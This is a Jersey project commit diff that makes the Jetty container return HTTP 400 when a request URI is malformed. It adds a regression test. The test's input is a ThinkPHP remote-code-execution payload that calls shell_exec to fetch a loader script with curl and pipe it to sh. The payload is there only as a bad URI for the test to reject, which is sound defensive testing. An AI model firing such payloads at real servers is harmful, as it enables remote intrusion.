handle URISyntaxException in JettyHttpContainer (#4809)

Signed-off-by: aserkes <andrii.serkes@oracle.com>
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml
index c99d106..95ce9df 100644
--- a/containers/jetty-http/pom.xml
+++ b/containers/jetty-http/pom.xml
@@ -37,7 +37,6 @@
             <groupId>org.glassfish.hk2.external</groupId>
             <artifactId>jakarta.inject</artifactId>
         </dependency>
-
         <dependency>
             <groupId>org.eclipse.jetty</groupId>
             <artifactId>jetty-server</artifactId>
@@ -50,6 +49,11 @@
             <groupId>org.eclipse.jetty</groupId>
             <artifactId>jetty-continuation</artifactId>
         </dependency>
+        <dependency>
+            <groupId>org.apache.httpcomponents</groupId>
+            <artifactId>httpclient</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
     <build>
@@ -69,7 +73,6 @@
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
             </plugin>
-
         </plugins>
 
         <resources>
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
index e1a04d7..06687ec 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,6 +33,7 @@
 
 import javax.ws.rs.core.Application;
 import javax.ws.rs.core.GenericType;
+import javax.ws.rs.core.Response.Status;
 import javax.ws.rs.core.SecurityContext;
 
 import javax.inject.Inject;
@@ -81,7 +82,8 @@
     private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
     private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
 
-    private static final int INTERNAL_SERVER_ERROR = javax.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+    private static final int INTERNAL_SERVER_ERROR = Status.INTERNAL_SERVER_ERROR.getStatusCode();
+    private static final Status BAD_REQUEST_STATUS = Status.BAD_REQUEST;
 
     /**
      * Cached value of configuration property
@@ -145,9 +147,9 @@
 
         final Response response = request.getResponse();
         final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
-        final URI baseUri = getBaseUri(request);
-        final URI requestUri = getRequestUri(request, baseUri);
         try {
+            final URI baseUri = getBaseUri(request);
+            final URI requestUri = getRequestUri(request, baseUri);
             final ContainerRequest requestContext = new ContainerRequest(
                     baseUri,
                     requestUri,
@@ -171,25 +173,34 @@
             // Mark the request as handled before generating the body of the response
             request.setHandled(true);
             appHandler.handle(requestContext);
+        } catch (URISyntaxException e) {
+            setResponseForInvalidUri(response, e);
         } catch (final Exception ex) {
             throw new RuntimeException(ex);
         }
-
     }
 
-    private URI getRequestUri(final Request request, final URI baseUri) {
-        try {
-            final String serverAddress = getServerAddress(baseUri);
-            String uri = request.getRequestURI();
+    private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+        final String serverAddress = getServerAddress(baseUri);
+        String uri = request.getRequestURI();
 
-            final String queryString = request.getQueryString();
-            if (queryString != null) {
-                uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
-            }
+        final String queryString = request.getQueryString();
+        if (queryString != null) {
+            uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+        }
 
-            return new URI(serverAddress + uri);
-        } catch (URISyntaxException ex) {
-            throw new IllegalArgumentException(ex);
+        return new URI(serverAddress + uri);
+    }
+
+    private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
+        LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+        if (configSetStatusOverSendError) {
+            response.reset();
+            //noinspection deprecation
+            response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
+        } else {
+            response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
         }
     }
 
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
index e934e6e..ce299cd 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,11 @@
 
 package org.glassfish.jersey.jetty;
 
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
 import org.junit.Test;
 
 import javax.ws.rs.GET;
@@ -28,6 +33,7 @@
 import javax.ws.rs.core.Response;
 
 import java.io.IOException;
+import java.net.URI;
 
 import static org.junit.Assert.assertEquals;
 
@@ -45,6 +51,21 @@
     }
 
     @Test
+    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+                + ".0.1/ldr.sh|sh";
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
     public void test400StatusCode() throws IOException {
         startServer(ExceptionResource.class);
         Client client = ClientBuilder.newClient();